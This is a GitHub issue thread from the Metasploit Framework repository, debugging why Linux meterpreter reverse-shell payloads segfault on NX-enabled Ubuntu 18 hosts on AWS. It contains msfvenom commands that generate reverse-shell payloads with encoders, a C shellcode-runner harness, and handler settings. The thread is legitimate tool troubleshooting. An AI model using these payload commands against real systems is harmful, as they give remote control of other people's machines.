rapid7 / metasploit-framework

Metasploit Framework
https://www.metasploit.com/
Other
34.12k stars 13.97k forks source link

No reverse payloads work on Ubuntu 18 #12893

Open m3ldis opened 4 years ago

m3ldis commented 4 years ago

Sorry to bring it up again, but I have done a lot of looking through issues and I think mine is new. I get Segmentation fault (core dumped). It's not a connection issue; I always have my handler running first, verified connection with nc <ip> 443, and it seems from strace (see below) that it never even gets to any socket connection attempt.

This may just be an issue that can't be circumvented. I am willing to resign to the fact that MSF payloads won't work on Linux images from AWS, just making sure I haven't missed anything.

OS info, agent

Payload is running on default Ubuntu 18 AMI on AWS. Handler was always running before attempting to connect. NX is enabled, I can't change this:

$ uname -i
x86_64
$ uname -a
Linux MyHostName 4.15.0-1051-aws #53-Ubuntu SMP Wed Sep 18 13:35:53 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
$ dmesg | grep NX
[    0.000000] NX (Execute Disable) protection: active

I have done the following to circumvent NX:

Steps to reproduce

Payloads I've tried

I've generated the following. All give the same output: segfault.

# elf's, normal; reverse HTTP and TCP
$ msfvenom -a x64 --platform linux -p linux/x64/meterpreter_reverse_http LHOST=10.x.x.x LPORT=443 -b "\x00" -i 3 -f elf -o ubuntu_priv443_3 
$ msfvenom -a x86 --platform linux -p linux/x86/meterpreter_reverse_http LHOST=10.x.x.x LPORT=443 -b "\x00" -i 3 -f elf -o ubuntu_priv443_3
$ msfvenom -a x86 --platform linux -p linux/x86/meterpreter/reverse_tcp LHOST=10.x.x.x LPORT=443 -b "\x00" -e x86/xor_dynamic -i 3 -f elf -o ubuntu_priv443_3

# elf, nonx (public and private IP of handler)
$ msfvenom -a x86 --platform linux -p linux/x86/meterpreter/reverse_nonx_tcp LHOST=10.x.x.x LPORT=443 -b "\x00" -e x86/xor_dynamic -i 3 -f elf -o ubuntu_priv443_nonx_3
$ msfvenom -a x86 --platform linux -p linux/x86/meterpreter/reverse_nonx_tcp LHOST=<PUB-IP> LPORT=443 -b "\x00" -e x86/xor_dynamic -i 3 -f elf -o ubuntu_priv443_nonx_3

# c, nonx (public and private IP of handler)
$ msfvenom -a x86 --platform linux -p linux/x86/meterpreter/reverse_nonx_tcp LHOST=10.x.x.x 
LPORT=443 -b "\x00" -e x86/xor_dynamic -i 3 -f c -o ubuntu_priv443_3
$ msfvenom -a x86 --platform linux -p linux/x86/meterpreter/reverse_nonx_tcp LHOST=<PUB-IP>
LPORT=443 -b "\x00" -e x86/xor_dynamic -i 3 -f c -o ubuntu_pub443_3

# same, less encoding
$ msfvenom -a x86 --platform linux -p linux/x86/meterpreter/reverse_nonx_tcp LHOST=<PUB-IP>
LPORT=443 -b "\x00" -e x86/xor_dynamic -i 1 -f c -o ubuntu_pub443_3

C function:

main() { printf("Shellcode Length: %d\n", strlen(buf)); int (*ret)() = (int(*)())buf; ret(); }

C compilation flags: gcc -z execstack -fno-stack-protector -o <filename> <filename>.c

Expected behavior

It should execute

Current behavior

Segmentation fault

System stuff

Metasploit version

Framework: 5.0.60-dev Console : 5.0.60-dev

Metasploit handler

I used the following options for the metasploit handler:

exploit(multi/handler) > set payload <same_as_payload>, e.g.
exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_nonx_tcp
exploit(multi/handler) > set LHOST 0.0.0.0
exploit(multi/handler) > set LPORT 443
exploit(multi/handler) > run -j

Strace output

$ sudo strace ./pub1
execve("./pub1", ["./pub1"], 0x7fffffffe6d0 /* 15 vars */) = 0
brk(NULL)                               = 0x555555559000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=22482, ...}) = 0
mmap(NULL, 22482, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7ffff7ff1000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\260\34\2\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=2030544, ...}) = 0
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ffff7fef000
mmap(NULL, 4131552, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7ffff79e4000
mprotect(0x7ffff7bcb000, 2097152, PROT_NONE) = 0
mmap(0x7ffff7dcb000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1e7000) = 0x7ffff7dcb000
mmap(0x7ffff7dd1000, 15072, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7ffff7dd1000
close(3)                                = 0
arch_prctl(ARCH_SET_FS, 0x7ffff7ff04c0) = 0
mprotect(0x7ffff7dcb000, 16384, PROT_READ) = 0
mprotect(0x555555557000, 4096, PROT_READ) = 0
mprotect(0x7ffff7ffc000, 4096, PROT_READ) = 0
munmap(0x7ffff7ff1000, 22482)           = 0
fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 2), ...}) = 0
brk(NULL)                               = 0x555555559000
brk(0x55555557a000)                     = 0x55555557a000
write(1, "Shellcode Length: 96\n", 21Shellcode Length: 96
)  = 21
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x55556032} ---
+++ killed by SIGSEGV (core dumped) +++
Segmentation fault

I installed Metasploit with:

OS

Metasploit: Kali Linux AMI Linux ami-0efaa1daf599f3b8e

$ uname -a
Linux kali 5.3.0-kali2-amd64 #1 SMP Debian 5.3.9-3kali1 (2019-11-20) x86_64 GNU/Linux

Issues & help I'm aware of

OJ commented 4 years ago

I really wish that all bug submissions had this level of detail. Well played @clhefton 👍

Quick Q: have you tried generation the payloads without using any of:

From my (very quick) testing, using the above caused segfaults, but avoiding those three switches resulted in payloads that worked.

Would you mind giving that a try please?

m3ldis commented 4 years ago

tl;dr for future readers: On Ubuntu 18+ and AL2 AMI's on AWS, (untested but possibly on vanilla Ubuntu 18),

Glad it was useful @OJ , and thank you so much!! I can't believe it was that simple 😫. I've never actually made payloads without excluding null characters or using encoding.

I tested literally every other combo of encoding + iterations + bad chars I could find, and verified that both -e and -b cause issues by themselves and in combination on all reverse shell payloads, both x86 and x64. (-i is irrelevant without -e). Oh, and nonx payloads don't work either.

OJ commented 4 years ago

I'm glad it was that simple too mate! We should have something in place to either warn people against this or just not allow it at all. There's definitely work to be done here.

@clhefton I'm going to reopen this for now, as I think we need to discuss further and come up with solution. Hope that's OK.

wvu commented 4 years ago

Yeah, maybe a warning that encoding is usually not necessary when using an executable format. It may be if that binary is transferred through constraints, but it's not the normal use case. Also, the binary wrapper isn't checked for badchars, so meh.

egypt commented 4 years ago

The important thing here is that encoding requires the payload to reside in RWX memory. Specifying badchars (the -b option) forces encoding. The nonx variant of payloads don't mprotect and just assume everything is RWX (which was basically the case back in the long long ago before NX was a thing).

I agree that a warning makes sense when the output format is an executable and encoding is enabled (or implied by other options). I don't know what we can do about the case where a user outputs shellcode for use in a harness like OP's C code.

github-actions[bot] commented 4 years ago

Hi!

This issue has been left open with no activity for a while now.

We get a lot of issues, so we currently close issues after 60 days of inactivity. It’s been at least 30 days since the last update here. If we missed this issue or if you want to keep it open, please reply here. You can also add the label "not stale" to keep this issue open!

As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request.

github-actions[bot] commented 3 years ago

Hi again!

It’s been 60 days since anything happened on this issue, so we are going to close it. Please keep in mind that I’m only a robot, so if I’ve closed this issue in error please feel free to reopen this issue or create a new one if you need anything else.

As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request.

adfoster-r7 commented 3 years ago

Adding a warning seems like a good call, reopening this :+1:

newsdelhi10 commented 3 years ago

What will doing adding on exploit (-j)? Which use work zse -j ?

bcoles commented 3 years ago

What will doing adding on exploit (-j)? Which use work zse -j ?

-j runs the module as a job.

msf6 exploit(multi/handler) > help exploit 
Usage: run [options] [RHOSTS]

Run the current exploit module

OPTIONS:

    -J        Force running in the foreground, even if passive.
    -e <opt>  The payload encoder to use.  If none is specified, ENCODER is used.
    -f        Force the exploit to run regardless of the value of MinimumRank.
    -h        Help banner.
    -j        Run in the context of a job.
    -n <opt>  The NOP generator to use.  If none is specified, NOP is used.
    -o <opt>  A comma separated list of options in VAR=VAL format.
    -p <opt>  The payload to use.  If none is specified, PAYLOAD is used.
    -q        Run the module in quiet mode with no output
    -t <opt>  The target index to use.  If none is specified, TARGET is used.
    -z        Do not interact with the session after successful exploitation.

Examples:

    run 192.168.1.123
    run 192.168.1.1-192.168.1.254
    run file:///tmp/rhost_list.txt

Learn more at https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit

msf6 exploit(multi/handler) > 
manishkumarr1017 commented 1 year ago

As I was going through this issue. I found an interesting behaviour. Not sure whether this is intended or not. I was just checking this on my local ubuntu-18.04 image not on AWS but on normal VM.

OS Info

$ uname -i
x86_64

$ uname -a
Linux Myhostname-Apple-Virtualization-Generic-Platform 5.4.0-149-generic #166~18.04.1-Ubuntu SMP Fri Apr 21 16:42:44 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux

$ dmesg | grep NX
[    0.000000] NX (Execute Disable) protection: active

$ cat /proc/sys/kernel/randomize_va_space
0

Steps to reproduce

$ msfvenom -a x64 --platform linux -p linux/x64/meterpreter_reverse_http LHOST=<ip> LPORT=<port> -b "\x00" -i 3 -f elf -o ubuntu_priv443_3 
# setting up the listener
exploit(multi/handler) > set payload linux/x64/meterpreter_reverse_http
exploit(multi/handler) > set LHOST <ip>
exploit(multi/handler) > set LPORT <port>
exploit(multi/handler) > run -j

# transferred this file to my ubuntu and executed
# results

$ ./ubuntu_priv443_3 
Segmentation fault (core dumped)

$ nc -vv <ip> <port>
Connection to <ip> <port> port [tcp/*] succeeded!

Expecting behaviour

It should work.

Actual Behaviour

Getting Segmentation Fault

As suggested above tried without extra flags like encoders etc.

Steps to reproduce

$ ./msfvenom -a x64 --platform linux -p linux/x64/meterpreter_reverse_http LHOST=<ip> LPORT=<port>  -f elf -o ubuntu_priv443_3

# setting up the listener
exploit(multi/handler) > set payload linux/x64/meterpreter_reverse_http
exploit(multi/handler) > set LHOST <ip>
exploit(multi/handler) > set LPORT <port>
exploit(multi/handler) > run

# result

I got the meterpreter shell

Thought that encoding doesn't work on linux payloads. But tried the same with reverse_tcp

Steps to reproduce.

$ ./msfvenom -a x64 --platform linux -p linux/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -b "\x00" -e x64/xor_dynamic -i 3 -f elf -o ubuntu_priv443_3

# setting up the listener
msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) >
msf6 exploit(multi/handler) > set LHOST <ip>
LHOST => <ip>
msf6 exploit(multi/handler) > set LPORT <port>
LPORT => <port>
msf6 exploit(multi/handler) > run

# result
I got the meterpreter shell.

System Info

# MSF Version
Framework Version: 6.3.18-dev-bd9591f621
# I installed metasploit based on metasploit documentation source install.
# My ruby version
❯ ruby -v
ruby 3.0.5p211 (2022-11-24 revision ba5cf0f7c5) [x86_64-darwin22]

I apologize if I miss anything. please let me know if you need any more information.

My questions.

Does only some payloads are compatible with encoders? After reversing the elf generated by the reverse_http with encoders (On 1st case) I found some invalid instructions? (Thinking that the encoder disturbed the normal execution not only the payload ( Not sure how does the encoders work. I will have to go through a bit) so causing the segmentation fault?) Last if our encoder, bad characters and iterations use RWX memory regions, as we got RCE so can't we change the payload code to first mmap RW segment and keep our payload and then using mprotect change the permissions of this region to RX and then execute our payload? (Is this feasible?)